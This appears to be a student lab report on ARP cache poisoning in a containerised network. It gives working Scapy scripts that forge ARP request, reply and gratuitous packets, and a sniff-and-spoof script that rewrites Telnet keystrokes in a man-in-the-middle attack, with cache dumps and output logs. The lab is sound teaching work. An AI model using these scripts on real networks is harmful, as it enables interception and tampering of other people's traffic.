ARP Cache poisoning & Spoofing

Task 1: ARP Cache Poisoning

1) **Task 1.A (using ARP request).** On host M, construct an ARP request packet to map B's IP address to M's MAC address. Send the packet to A and check whether the attack is successful or not.

a) ARP cache of Host A before Attack

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
  Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C
  eth0
10.9.0.105               ether   02:42:0a:09:00:69   C
  eth0
root@0038be5196b3:/#
```

b) ARP Cache of Host B before attack

```
root@c79d73640b11:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
         Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
         eth0
10.9.0.5                 ether   02:42:0a:09:00:05   C
         eth0
```

c) ARP Spoofing Python Program

```
#!/usr/bin/env python3
from scapy.all import *

target_IP = "10.9.0.5"
target_MAC = "02:42:0a:09:00:05"
fake_IP = "10.9.0.6"
fake_MAC = "02:42:0a:09:00:69"
ether = Ether(dst=target_MAC, src=fake_MAC)
arp = ARP(hwsrc=fake_MAC, psrc=fake_IP, pdst=target_IP, op=1)
pkt = ether/arp
sendp(pkt)
```

d) ARP cache of Host A after Attack

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
```

ARP Cache poisoning & Spoofing

2) **Task 1.B (using ARP reply).** On host M, construct an ARP reply packet to map B's IP address to M's MAC address. Send the packet to A and check whether the attack is successful or not. Try the attack under the following two scenarios, and report the results of your attack:

- Scenario 1: B's IP is already in A's cache.

a) Host A ARP Cache before the attack

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
  Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C
  eth0
10.9.0.105               ether   02:42:0a:09:00:69   C
  eth0
root@0038be5196b3:/#
```

b) Python Program for ARP reply:

```
#!/usr/bin/env python3
from scapy.all import *

def send_arp_reply(target_ip, target_mac, fake_ip, fake_mac):
   ether = Ether(dst=target_mac, src=fake_mac)
   arp = ARP(hwsrc=fake_mac, psrc=fake_ip, pdst=target_ip, op=2)  # ARP reply (op=2)
   pkt = ether/arp
   sendp(pkt)
# Scenario 1: B's IP is already in A's cache.
target_ip_a = "10.9.0.5"#place with A's IP address
target_mac_a = "02:42:0a:09:00:05"  # Replace with A's MAC address
fake_ip_m = "10.9.0.6"  # Replace with B's IP address
fake_mac_m = "02:42:0a:09:00:69"  # Replace with M's MAC address
send_arp_reply(target_ip_a, target_mac_a, fake_ip_m, fake_mac_m)
```

c) Machine A ARP cache after the attack:

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

- Scenario 2: B's IP is not in A's cache. You can use the command "arp -d a.b.c.d" to remove the ARP cache entry for the IP address a.b.c.d.

a) Host A ARP Cache before the attack

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
```

b) Python Program for ARP reply:

```
#!/usr/bin/env python3
from scapy.all import *

def send_arp_reply(target_ip, target_mac, fake_ip, fake_mac):
   ether = Ether(dst=target_mac, src=fake_mac)
   arp = ARP(hwsrc=fake_mac, psrc=fake_ip, pdst=target_ip, op=2)  # ARP reply (op=2)
   pkt = ether/arp
   sendp(pkt)
# Scenario 1: B's IP is already in A's cache.
target_ip_a = "10.9.0.5"#place with A's IP address
target_mac_a = "02:42:0a:09:00:05"  # Replace with A's MAC address
```

ARP Cache poisoning & Spoofing

```
fake_ip_m = "10.9.0.6"  # Replace with B's IP address
fake_mac_m = "02:42:0a:09:00:69"  # Replace with M's MAC address
send_arp_reply(target_ip_a, target_mac_a, fake_ip_m, fake_mac_m)
```

c) Host A ARP cache after thee cache:

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
```

3) **Task 1.C (using ARP gratuitous message).** On host M, construct an ARP gratuitous packet, and use it to map B's IP address to M's MAC address. Please launch the attack under the same two scenarios as those described in Task 1.B.

- Scenario 1: B's IP is already in A's cache.

a) Host A ARP Cache before the attack:

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
  Iface
10.9.0.6                 ether   02:42:0a:09:00:06   C
  eth0
10.9.0.105               ether   02:42:0a:09:00:69   C
  eth0
root@0038be5196b3:/#
```

b) Python Program for gratuitous packet:

```
#!/usr/bin/env python3
from scapy.all import *

def send_gratuitous_arp(target_ip, fake_ip, fake_mac):
   ether = Ether(dst="ff:ff:ff:ff:ff:ff", src=fake_mac)
   arp = ARP(hwsrc=fake_mac, psrc=fake_ip, pdst=target_ip, op=1)  # ARP request
(op=1)
   pkt = ether/arp
   sendp(pkt)
# Scenario 1: B's IP is already in A's cache.
target_ip_a = "10.9.0.5"  # Replace with A's IP address
fake_ip_m = "10.9.0.6"  # Replace with B's IP address
fake_mac_m = "02:42:0a:09:00:69"  # Replace with M's MAC address
send_gratuitous_arp(target_ip_a, fake_ip_m, fake_mac_m)
```

c) Machine A ARP cache after the attack:

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

- Scenario 2: B's IP is not in A's cache. You can use the command "arp -d a.b.c.d" to remove the ARP cache entry for the IP address a.b.c.d.

a) Host A ARP Cache before the attack

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
```

ARP Cache poisoning & Spoofing

b) Python Program for gratuitous packet:

```
#!/usr/bin/env python3
from scapy.all import *

def send_gratuitous_arp(target_ip, fake_ip, fake_mac):
   ether = Ether(dst="ff:ff:ff:ff:ff:ff", src=fake_mac)
   arp = ARP(hwsrc=fake_mac, psrc=fake_ip, pdst=target_ip, op=1)  # ARP request
(op=1)
   pkt = ether/arp
   sendp(pkt)
# Scenario 1: B's IP is already in A's cache.
target_ip_a = "10.9.0.5"  # Replace with A's IP address
fake_ip_m = "10.9.0.6"  # Replace with B's IP address
fake_mac_m = "02:42:0a:09:00:69"  # Replace with M's MAC address
send_gratuitous_arp(target_ip_a, fake_ip_m, fake_mac_m)
```

c) Machine A ARP cache after the attack:

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105               ether   02:42:0a:09:00:69   C                     eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C                     eth0
```

ARP gratuitous packet is a special ARP request packet. It is used when a host machine needs to update outdated information on all the other machine's ARP cache. The gratuitous ARP packet has the following characteristics:

- The source and destination IP addresses are the same, and they are the IP address of the host issuing the gratuitous ARP.
- The destination MAC addresses in both ARP header and Ethernet header are the broadcast MAC address (ff:ff:ff:ff:ff:ff).
- No reply is expected.

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

a) ARP cache poisoning program for Machine A and Machine B

```
#!/usr/bin/env python3
from scapy.all import *

target_IP1 = "10.9.0.5"
target_MAC1 = "02:42:0a:09:00:05"
fake_IP1 = "10.9.0.6"
fake_MAC = "02:42:0a:09:00:69"
target_IP2 = "10.9.0.6"
target_MAC2 = "02:42:0a:09:00:06"
fake_IP2 = "10.9.0.5"
fake_MAC = "02:42:0a:09:00:69"
ether1 = Ether(dst=target_MAC1, src=fake_MAC)  # Corrected this line
arp1 = ARP(hwsrc=fake_MAC, psrc=fake_IP1, pdst=target_IP1, op=1)  # Corrected op field
pkt1 = ether1/arp1
ether2 = Ether(dst=target_MAC2, src=fake_MAC)  # Corrected this line
arp2 = ARP(hwsrc=fake_MAC, psrc=fake_IP2, pdst=target_IP2, op=1)  # Corrected op field
pkt2 = ether2/arp2
sendp(pkt1)
sendp(pkt2)
```

ARP Cache poisoning & Spoofing

b) ARP cache before the attack at IP forwarding OFF on Attacker machine M **sysctl net.ipv4.ip_forward=0**

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
  Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
  eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C
  eth0
```

```
Address                  HWtype  HWaddress           Flags Mask
         Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
         eth0
10.9.0.5                 ether   02:42:0a:09:00:69   C
         eth0
```

c) ARP cache after the attack after Pinging Machine B from Machine A and vice versa

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
  Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
  eth0
10.9.0.6                         (incomplete)
  eth0
```

```
root@c79d73640b11:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
         Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
         eth0
10.9.0.5                         (incomplete)
         eth0
```

d) ARP cache before the attack at IP forwarding ON attacker machine M **sysctl net.ipv4.ip_forward=1**

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
  Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
  eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C
  eth0
```

```
Address                  HWtype  HWaddress           Flags Mask
         Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
         eth0
10.9.0.5                 ether   02:42:0a:09:00:69   C
         eth0
```

ARP Cache poisoning & Spoofing

e) ARP cache after the attack after Pinging Machine B from Machine A and vice versa

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
  Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
  eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C
  eth0
root@0038be5196b3:/# ping -c 1 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.073 ms

--- 10.9.0.6 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.073/0.073/0.073/0.000 ms
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
  Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
  eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C
  eth0
```

```
root@c79d73640b11:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
         Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
         eth0
10.9.0.5                 ether   02:42:0a:09:00:69   C
         eth0
root@c79d73640b11:/# ping -c 1 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=63 time=0.149 ms

--- 10.9.0.5 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.149/0.149/0.149/0.000 ms
root@c79d73640b11:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
         Iface
10.9.0.105               ether   02:42:0a:09:00:69   C
         eth0
10.9.0.5                 ether   02:42:0a:09:00:69   C
         eth0
```

f) Python Program for Sniffing and Spoofing TCP packets.

```
#!/usr/bin/env python3
from scapy.all import *

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
  if IP in pkt and TCP in pkt:
```

ARP Cache poisoning & Spoofing

```
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        if pkt[TCP].flags == "S" and pkt[TCP].ack == 0:
            # This is the TCP connection establishment phase
            print(f"TCP Connection Established from {pkt[IP].src}:{pkt[TCP].sport} to
{pkt[IP].dst}:{pkt[TCP].dport}")
            if pkt[TCP].payload:
                original_data = pkt[TCP].payload.load.decode('utf-8')
                print(f"Original Payload Data: {original_data}")
        # Continue with your existing code for modification if needed
        newpkt = IP(bytes(pkt[IP]))
        del newpkt.chksum
        del newpkt[TCP].payload
        del newpkt[TCP].chksum
        if pkt[TCP].payload:
            data = pkt[TCP].payload.load  # The original payload data
            print(f"Original Payload Data: {data}")
            newdata = b"F"
            # Print the modified payload data
            modified_data = newdata.decode('utf-8')
            print(f"Modified Payload Data: {modified_data}")
            send(newpkt/newdata, verbose=0)
        else:
            send(newpkt, verbose=0)
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del newpkt.chksum
        del newpkt[TCP].chksum
        send(newpkt, verbose=0)
# Set up packet sniffing for TCP packets on the 'br-539135178e67' interface.
f = 'tcp'
pkt = sniff(iface='br-539135178e67', filter=f, prn=spoof_pkt)
```

g) ARP Cache of Machine A before the sniffing and Spoofing Attack:

```
root@0038be5196b3:/# arp -n
Address                  HWtype  HWaddress           Flags Mask
  Iface
10.9.0.1                 ether   02:42:88:4c:74:fb   C
  eth0
10.9.0.105               ether   02:42:0a:09:00:69   C
  eth0
10.9.0.6                 ether   02:42:0a:09:00:69   C
  eth0
```

h) Sniffing and Spoofing Attack output after connecting with Machin B via Machine A using telnet command.

```
Modified Payload Data: F
Original Payload Data: b'F'
Modified Payload Data: F
Original Payload Data: b'F'
Modified Payload Data: F
Original Payload Data: b's'
Modified Payload Data: F
Original Payload Data: b's'
Modified Payload Data: F
Original Payload Data: b'F'
Modified Payload Data: F
Original Payload Data: b'F'
Modified Payload Data: F
Original Payload Data: b'e'
Modified Payload Data: F
Original Payload Data: b'e'
Modified Payload Data: F
Original Payload Data: b'F'
Modified Payload Data: F
Original Payload Data: b'F'
Modified Payload Data: F
Original Payload Data: b'e'
Modified Payload Data: F
Original Payload Data: b'e'
```